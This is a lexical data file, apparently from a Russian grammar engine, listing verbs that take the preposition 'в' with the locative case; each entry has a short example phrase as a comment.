rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
